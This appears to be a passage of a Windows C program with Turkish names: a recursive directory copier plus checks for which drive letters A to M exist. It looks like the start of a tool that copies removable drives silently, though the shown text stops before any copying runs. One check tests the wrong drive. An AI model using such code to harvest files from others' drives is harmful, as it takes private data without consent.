1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184
|
#include<windows.h>
#include<stdio.h>
#include<direct.h>
BOOL Kopyala(char r_szSrcPath[1024],char r_szDesPath[1024])
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
char l_szTmp[1025] = {0};
memcpy(l_szTmp,r_szSrcPath,1024);
char l_szSrcPath[1025] = {0};
char l_szDesPath[1025] = {0};
memcpy(l_szSrcPath,r_szSrcPath,1024);
memcpy(l_szDesPath,r_szDesPath,1024);
char l_szNewSrcPath[1025] = {0};
char l_szNewDesPath[1025] = {0};
strcat(l_szTmp,"*");
hFind = FindFirstFile(l_szTmp, &FindFileData);
if(hFind == NULL) return FALSE;
do
{
if(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
if(strcmp(FindFileData.cFileName,"."))
{
if(strcmp(FindFileData.cFileName,".."))
{
sprintf(l_szNewDesPath,"%s%s\\",l_szDesPath,FindFileData.cFileName);
sprintf(l_szNewSrcPath,"%s%s\\",l_szSrcPath,FindFileData.cFileName);
CreateDirectory(l_szNewDesPath,NULL);
Kopyala(l_szNewSrcPath,l_szNewDesPath);
}
}
}
else
{
char l_szSrcFile[1025] = {0};
char l_szDesFile[1025] = {0};
sprintf(l_szDesFile,"%s%s",l_szDesPath,FindFileData.cFileName);
sprintf(l_szSrcFile,"%s%s",l_szSrcPath,FindFileData.cFileName);
BOOL l_bRet = CopyFile(l_szSrcFile,l_szDesFile,TRUE);
}
}
while(FindNextFile(hFind, &FindFileData));
FindClose(hFind);
return TRUE;
}
//----------------------------------------------------------------------------------------------------------
int main(){
int A ,B ,D ,E ,F ,G ,H ,I ,J ,K ,L ,M ,N ,O ,P ,Q ,R ,S ,T ,U ,V ,W ,X ,Y ,Z;
//A---------------------------------------------------------------------------------------------------------
HANDLE Aflashbellek=CreateFile("A:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
if(Aflashbellek==INVALID_HANDLE_VALUE)
A=1;
else{
A=0;
CloseHandle(Aflashbellek);
}
//B---------------------------------------------------------------------------------------------------------
HANDLE Bflashbellek=CreateFile("B:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
if(Bflashbellek==INVALID_HANDLE_VALUE)
B=1;
else{
B=0;
CloseHandle(Bflashbellek);
}
//D---------------------------------------------------------------------------------------------------------
HANDLE Dflashbellek=CreateFile("D:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
if(Dflashbellek==INVALID_HANDLE_VALUE)
D=1;
else{
D=0;
CloseHandle(Dflashbellek);
}
//E---------------------------------------------------------------------------------------------------------
HANDLE Eflashbellek=CreateFile("E:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
if(Eflashbellek==INVALID_HANDLE_VALUE)
E=1;
else{
E=0;
CloseHandle(Eflashbellek);
}
//F---------------------------------------------------------------------------------------------------------
HANDLE Fflashbellek=CreateFile("F:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
if(Fflashbellek==INVALID_HANDLE_VALUE)
F=1;
else{
F=0;
CloseHandle(Fflashbellek);
}
//G---------------------------------------------------------------------------------------------------------
HANDLE Gflashbellek=CreateFile("G:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
if(Gflashbellek==INVALID_HANDLE_VALUE)
G=1;
else{
G=0;
CloseHandle(Gflashbellek);
}
//H---------------------------------------------------------------------------------------------------------
HANDLE Hflashbellek=CreateFile("H:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
if(Hflashbellek==INVALID_HANDLE_VALUE)
H=1;
else{
H=0;
CloseHandle(Hflashbellek);
}
//I---------------------------------------------------------------------------------------------------------
HANDLE Iflashbellek=CreateFile("I:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
if(Iflashbellek==INVALID_HANDLE_VALUE)
I=1;
else{
I=0;
CloseHandle(Iflashbellek);
}
//J---------------------------------------------------------------------------------------------------------
HANDLE Jflashbellek=CreateFile("J:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
if(Jflashbellek==INVALID_HANDLE_VALUE)
J=1;
else{
J=0;
CloseHandle(Jflashbellek);
}
//K---------------------------------------------------------------------------------------------------------
HANDLE Kflashbellek=CreateFile("K:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
if(Kflashbellek==INVALID_HANDLE_VALUE)
K=1;
else{
K=0;
CloseHandle(Kflashbellek);
}
//L---------------------------------------------------------------------------------------------------------
HANDLE Lflashbellek=CreateFile("L:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
if(Lflashbellek==INVALID_HANDLE_VALUE)
L=1;
else{
L=0;
CloseHandle(Lflashbellek);
}
//M---------------------------------------------------------------------------------------------------------
HANDLE Mflashbellek=CreateFile("H:",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,0);
if(Mflashbellek==INVALID_HANDLE_VALUE)
M=1;
else{
M=0;
CloseHandle(Mflashbellek);
}
|